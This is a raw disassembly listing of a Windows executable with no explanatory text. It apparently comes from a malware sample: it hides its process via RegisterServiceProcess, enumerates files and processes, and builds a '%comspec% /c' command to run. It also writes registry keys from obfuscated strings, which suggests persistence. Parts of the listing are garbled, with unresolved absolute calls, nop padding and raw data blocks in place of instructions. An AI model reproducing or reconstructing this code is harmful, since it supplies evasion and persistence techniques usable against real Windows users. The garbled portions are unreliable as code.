offset asc_444AE4 ; "\\" mov ecx, eax mov byte ptr [esp+288h+var_4], 3 call sub_4012EE test eax, eax lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl setz [esp+284h+var_279] call sub_401226 cmp [esp+284h+var_279], bl jz short loc_40CE0B mov ecx, [esp+284h+var_221] lea edx, [esp+284h+var_278] push ecx push edx lea ecx, [esp+28Ch+var_232] call sub_401E47 push offset dword_448F44 mov ecx, eax mov byte ptr [esp+288h+var_4], 4 call sub_401A9B lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 loc_40CE0B: ; CODE XREF: sub_40CC90+142j push ebx lea ecx, [esp+288h+var_232] call sub_4014DD push eax lea ecx, [esp+28Ch+var_247] call sub_4014DD push eax mov eax, [esp+290h+var_219] push eax lea ecx, [esp+294h+var_25C] call sub_40168B mov ecx, [esp+294h+var_260] push eax push ecx call sub_40227A push eax lea edx, [esp+2A0h+var_20C] push offset aFilesFoundD ; "Files Found: %d" push edx call sub_5F74D1 nop mov eax, [esp+2A4h+var_211] add esp, 24h cmp eax, ebx jnz short loc_40CE7C mov eax, [esp+280h+var_215] lea ecx, [esp+280h+var_208] push eax push ecx lea ecx, [esp+288h+var_258] call sub_40168B mov edx, [esp+288h+var_25C] push eax push edx call sub_40152D add esp, 10h loc_40CE7C: ; CODE XREF: sub_40CC90+1C9j mov eax, [esp+280h+var_219] push eax call sub_401E3D add esp, 4 push ebx nop call near ptr 28303F9h pop ebx loc_40CE91: ; CODE XREF: sub_40CC90+36j mov ecx, [esp+280h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 27Ch retn 4 sub_40CC90 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CF40 proc near ; CODE XREF: sub_40199Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CF40 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_40142E lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_40CF40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CFC0: ; CODE XREF: ___:loc_40228Ej push 0FFFFFFFFh push offset loc_43A086 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+2Eh] mov dword ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+10h], 0 call sub_401226 lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40D040 proc near ; CODE XREF: sub_40227Aj var_548 = byte ptr -548h var_51C = byte ptr -51Ch var_51B = byte ptr -51Bh var_408 = byte ptr -408h var_304 = byte ptr -304h var_200 = byte ptr -200h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h sub esp, 548h lea eax, [esp+548h+var_408] push ebx push ebp push esi mov esi, [esp+554h+arg_10] push edi mov edi, dword_511AE4 push esi push offset aS_1 ; "%s\\*" push 104h push eax call edi ; _snprintf add esp, 10h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx nop call near ptr 2870000h mov ebp, [esp+558h+arg_14] mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D107 loc_40D090: ; CODE XREF: sub_40D040+C5j test [esp+558h+var_548], 10h jz short loc_40D0F7 cmp [esp+558h+var_51C], 2Eh jnz short loc_40D0AA mov al, [esp+558h+var_51B] test al, al jz short loc_40D0F7 cmp al, 2Eh jz short loc_40D0F7 loc_40D0AA: ; CODE XREF: sub_40D040+5Cj lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_304] push eax push esi push offset dword_444684 push 104h push ecx call edi ; _snprintf mov eax, [esp+56Ch+arg_C] mov ecx, [esp+56Ch+arg_8] lea edx, [esp+56Ch+var_304] push ebp push edx mov edx, [esp+574h+arg_4] push eax mov eax, [esp+578h+arg_0] push ecx push edx push eax call sub_40227A add esp, 2Ch mov ebp, eax loc_40D0F7: ; CODE XREF: sub_40D040+55j ; sub_40D040+64j ... lea ecx, [esp+558h+var_548] push ecx push ebx nop call near ptr 2860000h test eax, eax jnz short loc_40D090 loc_40D107: ; CODE XREF: sub_40D040+4Ej push ebx nop call near ptr 285063Fh mov edx, [esp+558h+arg_C] lea eax, [esp+558h+var_408] push edx push esi push offset dword_444684 push 104h push eax call edi ; _snprintf add esp, 14h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx nop call near ptr 2870000h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D19B loc_40D148: ; CODE XREF: sub_40D040+159j lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_200] push eax push esi push offset aFoundSS ; "Found: %s\\%s" push 200h push ecx inc ebp call edi ; _snprintf mov edx, [esp+56Ch+arg_8] mov ecx, [esp+56Ch+arg_4] lea eax, [esp+56Ch+var_200] push edx mov edx, [esp+570h+arg_0] push eax push ecx push edx call sub_40152D add esp, 24h lea eax, [esp+558h+var_548] push eax push ebx call near ptr 2860000h nop test eax, eax jnz short loc_40D148 loc_40D19B: ; CODE XREF: sub_40D040+106j push ebx nop call near ptr 285063Fh pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 548h retn sub_40D040 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D210 proc near ; CODE XREF: sub_40104Bj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40D210 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 4 push 4 push 1 push 13h lea eax, [esp+58h+var_3C] push 1 mov esi, ecx push eax call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+19h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_40D210 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 13h lea edx, [esp+1Ch] push 1 push edx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+47h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 4 push 1 push 3 push 16h lea ecx, [esp+20h] push 13h push ecx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+75h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 3 push 16h push 13h lea eax, [esp+3Ch] push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE add esi, 0A3h push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D3C0: ; CODE XREF: ___:004013CFj sub esp, 104h lea eax, [esp+0] push 104h push eax push 0 nop call near ptr 2871D5Ch push eax nop call near ptr 28711A2h mov eax, dword_449080 test eax, eax jz loc_40D4E3 mov ecx, dword_44907C test ecx, ecx jz loc_40D4E3 mov ecx, dword_448F48 test ecx, ecx jz loc_40D4E3 push 0 push 2 call eax ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov dword_449078, eax jz loc_40D4E3 push ebp push offset dword_448F50 push eax xor ebp, ebp mov dword_448F50, 128h call dword_44907C ; Process32First test eax, eax jz loc_40D4CC push ebx mov ebx, [esp+110h] push esi mov esi, dword_511AE0 push edi loc_40D44D: ; CODE XREF: ___:0040D4C7j mov edi, offset dword_448F74 or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+10h] repne scasb not ecx dec ecx mov edi, offset dword_448F74 push ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea edi, [esp+14h] sub edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push offset dword_448F74 add edx, ecx push edx call esi ; strncmp add esp, 0Ch test eax, eax jz short loc_40D4B3 mov edi, offset dword_448F74 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push offset dword_448F74 mov ecx, ebx call sub_40168B push eax call esi ; strncmp add esp, 0Ch test eax, eax jnz short loc_40D4B4 loc_40D4B3: ; CODE XREF: ___:0040D48Bj inc ebp loc_40D4B4: ; CODE XREF: ___:0040D4B1j mov eax, dword_449078 push offset dword_448F50 push eax call dword_448F48 ; Process32Next test eax, eax jnz short loc_40D44D pop edi pop esi pop ebx loc_40D4CC: ; CODE XREF: ___:0040D437j mov ecx, dword_449078 push ecx nop call near ptr 28309C5h mov eax, ebp pop ebp add esp, 104h retn ; --------------------------------------------------------------------------- loc_40D4E3: ; CODE XREF: ___:0040D3E6j ; ___:0040D3F4j ... xor eax, eax add esp, 104h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D540: ; CODE XREF: ___:00401FAFj sub esp, 11Ch lea eax, [esp+18h] push ebx push esi push edi push 104h push eax call near ptr 2880B97h nop mov edi, offset aExplorer_exe ; "\\explorer.exe" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+24h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx push 80h and ecx, 3 push 3 push eax push 1 rep movsb mov edi, dword_5118F0 lea eax, [esp+38h] push 80000000h push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D606 lea ecx, [esp+1Ch] lea edx, [esp+0Ch] push ecx lea eax, [esp+18h] push edx push eax push esi nop call near ptr 2880781h mov ebx, dword_5118E0 push esi call ebx mov ecx, [esp+12Ch] push 0 push 80h push 3 push 0 push 2 push 40000000h push ecx call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D606 lea edx, [esp+1Ch] lea eax, [esp+0Ch] push edx lea ecx, [esp+18h] push eax push ecx push esi nop call near ptr 2880000h push esi call ebx loc_40D606: ; CODE XREF: ___:0040D5A9j ; ___:0040D5EBj pop edi pop esi pop ebx add esp, 11Ch retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D660 proc near ; CODE XREF: sub_401B6Dj var_19C = byte ptr -19Ch var_184 = byte ptr -184h var_16C = byte ptr -16Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40D660 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 190h push ebx push esi mov esi, ecx push edi lea ecx, [esp+1A8h+var_16C] call sub_40142E push 104h push 104h lea ecx, [esp+1B0h+var_16C] mov [esp+1B0h+var_4], 0 call sub_401C71 push eax nop call near ptr 27F0000h lea ecx, [esp+1A8h+var_16C] call sub_4017EE push eax lea ecx, [esi+4] call sub_4015E1 lea ecx, [esp+1A8h+var_184] call sub_40142E mov ebx, 1 push 104h push 104h lea ecx, [esp+1B0h+var_184] mov byte ptr [esp+1B0h+var_4], bl call sub_401C71 push eax push 0 nop call near ptr 2871D5Ch push eax call near ptr 28711A2h nop push offset aKernel32_dll_0 ; "kernel32.dll" nop call near ptr 27E0830h mov esi, eax test esi, esi jz short loc_40D751 mov edi, dword_511918 push offset aRegisterservic ; "RegisterServiceProcess" push esi call edi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push esi mov dword_449084, eax call edi push offset aProcess32first ; "Process32First" push esi mov dword_449080, eax call edi push offset aProcess32next ; "Process32Next" push esi mov dword_44907C, eax call edi mov dword_448F48, eax mov eax, dword_449084 test eax, eax jz short loc_40D751 push ebx push 0 call eax loc_40D751: ; CODE XREF: sub_40D660+A7j ; sub_40D660+EAj mov esi, [esp+1A8h+arg_0] push 0 mov ecx, esi call sub_4017EE push eax lea ecx, [esp+1B0h+var_184] call sub_402135 test eax, eax jnz short loc_40D788 mov al, byte_44916F test al, al jz short loc_40D788 mov ecx, esi call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 loc_40D788: ; CODE XREF: sub_40D660+10Dj ; sub_40D660+116j push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 12h push 10h push 10h push 0Eh push 9 lea eax, [esp+1D8h+var_19C] push 17h push eax call sub_4019C4 add esp, 38h mov ecx, eax mov byte ptr [esp+1A8h+var_4], 2 call sub_4017EE push eax call sub_401604 sub_40D660 endp ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push 0Fh push 8 push 0Ch push 0Ch lea ecx, [esp+38h] push 4 push ecx call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 3 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 4 push 10h push 14h push 6 lea edx, [esp+30h] push 14h push edx call sub_4019C4 add esp, 2Ch mov ecx, eax mov byte ptr [esp+1A4h], 4 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push ebx push 0Ch push 2 push 13h lea eax, [esp+38h] push 0Dh push eax call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 5 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 13h push 9 push 0Eh push 5 lea ecx, [esp+38h] push 10h push ecx call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 6 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 8 push 3 push 14h push ebx push 10h push 13h lea edx, [esp+38h] push 0Dh push edx call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 7 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- db 83h dd 4C8D04C4h, 9C880C24h, 1A424h, 38D4E800h, 448DFFFFh dd 6A3C24h, 244C8D50h, 3EB4E82Ch, 0C085FFFFh, 116850Fh dd 8B550000h, 3E7CE8CEh, 6A50FFFFh, 244C8D5Ch, 3E70E848h dd 8D50FFFFh, 0A8248Ch, 18680000h, 5100444Bh, 9B3FE890h dd 3D8B001Eh, 5118ACh, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah dd 8B30244Ch, 3CD9E8E8h, 358BFFFFh, 511914h, 85D6FF50h dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h dd 422935E8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3CA3h dd 85D6FF50h, 0A0D074C0h, 4497CBh, 74C0845Dh, 0D8358B39h dd 6800511Ah, 104h, 9C248C8Dh, 68000000h, 444B10h, 83D6FF51h dd 4C8D0CC4h, 4682424h, 0E8000001h, 0FFFF3DCAh, 9C24948Dh dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah dd 447C24h, 0E8900000h, 23E2925h, 874C085h, 0E890006Ah dd 7782C3FEh, 24244C8Dh, 0A42484C6h, 1, 0FF3795E8h, 244C8DFFh dd 2484C73Ch, 1A4h, 0FFFFFFFFh, 0FF3781E8h, 248C8BFFh dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0 ; --------------------------------------------------------------------------- add esp, 19Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DBF0 proc near ; CODE XREF: sub_401195j mov al, byte_449171 test al, al jz short loc_40DC04 push offset word_449172 nop call near ptr 27E0C62h loc_40DC04: ; CODE XREF: sub_40DBF0+7j mov al, 1 retn sub_40DBF0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DC20 proc near ; CODE XREF: sub_401E79j var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = dword ptr -6BCh var_6B8 = dword ptr -6B8h var_6B4 = dword ptr -6B4h var_6B0 = byte ptr -6B0h var_6AC = byte ptr -6ACh var_694 = byte ptr -694h var_67C = byte ptr -67Ch var_664 = byte ptr -664h var_64C = byte ptr -64Ch var_634 = byte ptr -634h var_61C = byte ptr -61Ch var_604 = byte ptr -604h var_5EC = byte ptr -5ECh var_5D4 = byte ptr -5D4h var_5BC = byte ptr -5BCh var_5A4 = byte ptr -5A4h var_58C = byte ptr -58Ch var_574 = byte ptr -574h var_564 = dword ptr -564h var_534 = word ptr -534h var_520 = byte ptr -520h var_41C = byte ptr -41Ch var_318 = byte ptr -318h var_214 = byte ptr -214h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40DC20 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 6C4h push esi lea eax, [esp+6D4h+var_41C] push 104h push eax push 0 nop call near ptr 2871D5Ch push eax call near ptr 28711A2h nop lea ecx, [esp+6D4h+var_318] push ecx push 104h nop call near ptr 27D0000h push 0 push 14h push 1 push 2 push 4Fh push 0Fh push 12h push 6 lea edx, [esp+6F4h+var_5EC] push 1 push edx call sub_4019C4 add esp, 28h mov ecx, eax mov [esp+6D4h+var_4], 0 call sub_4017EE push eax lea eax, [esp+6D8h+var_318] push eax lea ecx, [esp+6DCh+var_520] push offset dword_444684 push ecx nop call sub_5F74D1 add esp, 10h lea ecx, [esp+6D4h+var_5EC] mov [esp+6D4h+var_4], 0FFFFFFFFh call sub_401226 push 0 push 0 push 2 push 0 push 0 lea edx, [esp+6E8h+var_520] push 40000000h push edx call near ptr 28503BDh nop mov esi, eax test esi, esi jbe loc_40E178 push ebx push ebp push edi lea ecx, [esp+6E0h+var_6AC] call sub_40142E push 0 push 14h push 1 push 2 lea eax, [esp+6F0h+var_604] push 4Fh push eax mov [esp+6F8h+var_4], 1 call sub_4019C4 mov edi, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 0Ch push 5 lea ecx, [esp+720h+var_634] push 4 push ecx mov byte ptr [esp+728h+var_4], 2 call sub_4019C4 add esp, 48h mov ebp, eax push 0 push 14h push 1 push 2 lea edx, [esp+6F0h+var_664] push 4Fh push edx mov byte ptr [esp+6F8h+var_4], 3 call sub_4019C4 mov ebx, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea eax, [esp+72Ch+var_67C] push 4 push eax mov byte ptr [esp+734h+var_4], 4 call sub_4019C4 add esp, 54h mov [esp+6E0h+var_6B4], eax push 0 push 5 push 0Eh push 0Fh push 4 lea ecx, [esp+6F4h+var_61C] push 53h push ecx mov byte ptr [esp+6FCh+var_4], 5 call sub_4019C4 mov [esp+6FCh+var_6C8], eax mov byte ptr [esp+6FCh+var_4], 6 push 0 push 14h push 12h push 1 push 14h push 13h push 4Eh push 0Fh push 14h push 0Fh lea edx, [esp+724h+var_5D4] push 7 push edx call sub_4019C4 add esp, 4Ch mov [esp+6E0h+var_6B8], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 0Ch push 5 lea eax, [esp+708h+var_5A4] push 4 push eax mov byte ptr [esp+710h+var_4], 7 call sub_4019C4 mov [esp+710h+var_6C0], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea ecx, [esp+744h+var_58C] push 4 push ecx mov byte ptr [esp+74Ch+var_4], 8 call sub_4019C4 add esp, 6Ch mov [esp+6E0h+var_6D0], eax push 0 push 5 push 0Eh push 0Fh push 4 push 4Eh push 0Fh push 14h push 0Fh push 7 push 4Eh push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 14h push 13h push 9 push 18h push 5 push 4Eh push 14h mov byte ptr [esp+744h+var_4], 9 push 0Fh push 0Eh push 4Eh push 6 lea edx, [esp+754h+var_694] push 9 push edx call sub_4019C4 mov [esp+75Ch+var_6CC], eax push 0 push 14h push 12h push 1 push 14h push 13h lea eax, [esp+774h+var_5BC] push 53h push eax mov byte ptr [esp+77Ch+var_4], 0Ah call sub_4019C4 add esp, 9Ch mov [esp+6E0h+var_6C4], eax push 0 push 6 push 6 push 0Fh push 4Eh push 0Fh push 8 push 3 push 5 lea ecx, [esp+704h+var_64C] push 56h push ecx mov byte ptr [esp+70Ch+var_4], 0Bh call sub_4019C4 add esp, 2Ch mov [esp+6E0h+var_6BC], eax mov ecx, edi mov byte ptr [esp+6E0h+var_4], 0Ch call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax mov ecx, ebx call sub_4017EE mov ecx, [esp+6E8h+var_6B4] push eax call sub_4017EE mov ecx, [esp+6ECh+var_6C8] push eax call sub_4017EE mov ecx, [esp+6F0h+var_6B8] push eax call sub_4017EE mov ecx, [esp+6F4h+var_6C0] push eax call sub_4017EE mov ecx, [esp+6F8h+var_6D0] push eax call sub_4017EE mov ecx, [esp+6FCh+var_6CC] push eax call sub_4017EE mov ecx, [esp+700h+var_6C4] push eax call sub_4017EE mov ecx, [esp+704h+var_6BC] push eax call sub_4017EE push eax lea edx, [esp+70Ch+var_6AC] push offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n" push edx call sub_40102D add esp, 34h mov byte ptr [esp+6E0h+var_4], 0Bh lea ecx, [esp+6E0h+var_64C] call sub_401226 lea ecx, [esp+6E0h+var_5BC] mov byte ptr [esp+6E0h+var_4], 0Ah call sub_401226 lea ecx, [esp+6E0h+var_694] mov byte ptr [esp+6E0h+var_4], 9 call sub_401226 lea ecx, [esp+6E0h+var_58C] mov byte ptr [esp+6E0h+var_4], 8 call sub_401226 lea ecx, [esp+6E0h+var_5A4] mov byte ptr [esp+6E0h+var_4], 7 call sub_401226 lea ecx, [esp+6E0h+var_5D4] mov byte ptr [esp+6E0h+var_4], 6 call sub_401226 lea ecx, [esp+6E0h+var_61C] mov byte ptr [esp+6E0h+var_4], 5 call sub_401226 lea ecx, [esp+6E0h+var_67C] mov byte ptr [esp+6E0h+var_4], 4 call sub_401226 lea ecx, [esp+6E0h+var_664] mov byte ptr [esp+6E0h+var_4], 3 call sub_401226 lea ecx, [esp+6E0h+var_634] mov byte ptr [esp+6E0h+var_4], 2 call sub_401226 lea ecx, [esp+6E0h+var_604] mov byte ptr [esp+6E0h+var_4], 1 call sub_401226 lea eax, [esp+6E0h+var_6B0] push 0 push eax push 69h lea ecx, [esp+6ECh+var_6AC] call sub_4017EE push eax push esi nop call near ptr 27E0000h push esi nop call near ptr 28309C5h mov ecx, 11h xor eax, eax lea edi, [esp+6E0h+var_564] push 104h rep stosd lea ecx, [esp+6E4h+var_41C] mov [esp+6E4h+var_564], 44h push ecx push eax mov [esp+6ECh+var_534], ax nop call near ptr 2871D5Ch push eax call near ptr 28711A2h nop lea edx, [esp+6E0h+var_41C] lea eax, [esp+6E0h+var_520] push edx push eax lea ecx, [esp+6E8h+var_214] push offset aComspecCSS ; "%%comspec%% /c %s %s" push ecx call sub_5F74D1 nop add esp, 10h lea edx, [esp+6E0h+var_110] lea eax, [esp+6E0h+var_214] push 104h push edx push eax nop call near ptr 2800000h lea ecx, [esp+6E0h+var_574] lea edx, [esp+6E0h+var_564] push ecx push edx push 0 push 0 push 28h push 1 push 0 push 0 lea eax, [esp+700h+var_110] push eax push 0 call near ptr 27F0399h nop lea ecx, [esp+6E0h+var_6AC] mov [esp+6E0h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop ebp pop ebx mov al, 1 pop esi mov ecx, [esp+6D0h+var_C] mov large fs:0, ecx add esp, 6D0h retn ; --------------------------------------------------------------------------- loc_40E178: ; CODE XREF: sub_40DC20+D6j mov ecx, [esp+6D4h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 6D0h retn sub_40DC20 endp ; --------------------------------------------------------------------------- db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E2F0 proc near ; CODE XREF: sub_401730j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40E2F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_54] call sub_40142E lea ecx, [esp+80h+var_6C] mov [esp+80h+var_4], 0 call sub_40142E lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_40142E push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019C4 add esp, 0CCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 3 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019C4 add esp, 0DCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 4 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019C4 add esp, 0BCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 5 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017EE mov ebp, dword_51175C push eax push 80000002h call ebp mov esi, [esp+80h+arg_4] mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B mov ebx, [esp+84h+arg_0] push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2930000h mov edx, [esp+80h+var_70] push edx nop call near ptr 28F0000h push 0 lea eax, [esp+84h+var_70] lea ecx, [esp+84h+var_6C] push eax push 0 push 0F003Fh push 0 push 0 push 0 call sub_4017EE push eax push 80000002h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 